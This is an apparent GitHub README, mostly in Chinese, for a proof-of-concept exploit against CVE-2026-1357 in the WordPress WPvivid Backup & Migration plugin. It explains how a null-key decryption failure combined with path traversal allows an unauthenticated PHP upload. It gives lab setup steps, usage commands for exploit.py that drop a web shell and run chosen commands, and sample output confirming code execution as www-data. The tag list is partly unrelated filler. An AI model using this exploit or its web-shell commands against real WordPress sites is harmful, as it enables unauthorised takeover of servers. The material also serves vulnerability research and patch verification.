halilkirazkaya/CVE-2026-1357
GitHub: halilkirazkaya/CVE-2026-1357
针对 WordPress WPvivid 备份插件高危 RCE 漏洞(CVE-2026-1357)的 PoC 利用工具,利用加密验证缺陷和路径遍历实现未认证远程代码执行。
Stars: 11 | Forks: 2
# CVE-2026-1357 — WPvivid Backup & Migration RCE
**未认证任意文件上传 → 远程代码执行**
| 字段 | 值 |
|-------|-------|
| **CVE** | CVE-2026-1357 |
| **CVSS** | 9.8 (严重) |
| **Plugin** | WPvivid Backup & Migration |
| **受影响版本** | ≤ 0.9.123 |
| **已修复版本** | 0.9.124 |
| **发现者** | Lucas Montes (NiRoX) |
| **PoC 提供者** | halilkirazkaya |
## 概述
WPvivid Backup & Migration 插件(≤ 0.9.123)包含一个严重漏洞,允许**未经验证的攻击者**向服务器上传任意 PHP 文件,从而导致**远程代码执行 (RCE)**。
该漏洞利用链结合了两个漏洞:
### 1. 加密验证缺失 (Cryptographic Fail-Open)
该插件通过 `wpvivid_action=send_to_site` Hook 处理远程备份传输。在解密会话密钥时,如果 RSA 密钥格式错误,`openssl_private_decrypt()` 会返回 `false`。该插件**未检查**此返回值,而是将 `false` 传递给 phpseclib v1 的 `Crypt_Rijndael`,后者将其视为 **16 字节空密钥**(`\x00` × 16),模式为 CBC,IV 为空。
### 2. 路径遍历 (Path Traversal)
解密后的 JSON Payload 中的 `name` 参数**未经过滤**。攻击者可以使用 `../` 序列将 PHP 文件写入受限备份目录之外的可公开访问的 `wp-content/uploads/` 目录。
### 限制条件
必须在插件设置中生成过 `wpvivid_api_token`,且该 Token 未过期。
## 环境搭建
### 1. 下载受影响插件
下载并解压 WPvivid Backup & Migration **v0.9.123**(受影响版本):
```
wget https://downloads.wordpress.org/plugin/wpvivid-backuprestore.0.9.123.zip
unzip wpvivid-backuprestore.0.9.123.zip
```
这将创建 `wpvivid-backuprestore/` 目录,该目录会通过 `docker-compose.yml` 挂载到 Docker 容器中。
### 2. 启动实验环境
```
docker compose up -d
```
### 3. 配置 WordPress
1. 打开 `http://localhost` 并完成 WordPress 安装。
2. 转到 **Plugins → Installed Plugins** 并激活 **WPvivid Backup & Migration**。
3. 转到 **WPvivid → Settings → Auto-Migration** 并点击 **Generate** 创建密钥(这将启用受影响的代码路径)。
### 4. 安装依赖
```
pip install -r requirements.txt
```
## 用法
```
# 仅检查漏洞(上传无害 txt 文件并验证 MD5)
python3 exploit.py -u http://TARGET-URL -c
# 上传 shell 并运行默认命令 (id)
python3 exploit.py -u http://TARGET-URL -s
# 上传 shell 并运行自定义命令
python3 exploit.py -u http://TARGET-URL -s "whoami"
```
### 示例输出 (检查模式)
```
[*] Target : http://localhost/
[*] Mode : Check
[*] Upload path : ../uploads/h8xq9b3v2z1c.txt
[+] Generating encrypted payload (AES-128-CBC, null key + null IV)...
[+] Payload size : 392 bytes (base64)
[+] Sending exploit via wpvivid_action=send_to_site ...
[+] Response : 200
[+] Body : {"result":"success","op":"finished"}
[+] Verifying at: http://localhost/wp-content/uploads/h8xq9b3v2z1c.txt
[✓] Vulnerability Confirmed! File content matches MD5.
```
### 示例输出 (Shell 模式)
```
[*] Target : http://localhost/
[*] Mode : Shell
[*] Upload path : ../uploads/wp6h68xnt1tyzbfx8qp3qdbx.php
[*] Verify cmd : id
[+] Generating encrypted payload (AES-128-CBC, null key + null IV)...
[+] Payload size : 392 bytes (base64)
[+] Sending exploit via wpvivid_action=send_to_site ...
[+] Response : 200
[+] Body : {"result":"success","op":"finished"}
[+] Verifying at: http://localhost/wp-content/uploads/wp6h68xnt1tyzbfx8qp3qdbx.php?cmd=id
[✓] RCE Confirmed!
[✓] Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
## 参考资料
- [Wordfence 咨询](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wpvivid-backuprestore/migration-backup-staging-09123-unauthenticated-arbitrary-file-upload)
- [LucasM0ntes 提供的原 PoC](https://github.com/LucasM0ntes/POC-CVE-2026-1357)
## 免责声明
本工具仅供**授权安全测试和教育目的**使用。未经授权访问计算机系统是非法的。请负责任地使用。
标签:CISA项目, CVE-2026-1357, CVSS 9.8, OpenVAS, PHP, PoC, RCE, Web安全, WordPress安全, WordPress插件漏洞, WPvivid Backup & Migration, 任意文件上传, 加密缺陷, 安全测试工具, 提示词注入, 操作系统监控, 文件写入, 文件完整性监控, 暴力破解, 未授权访问, 编程工具, 网络信息收集, 网络安全, 蓝队分析, 请求拦截, 路径遍历, 身份验证绕过, 远程代码执行, 逆向工具, 隐私保护, 零日漏洞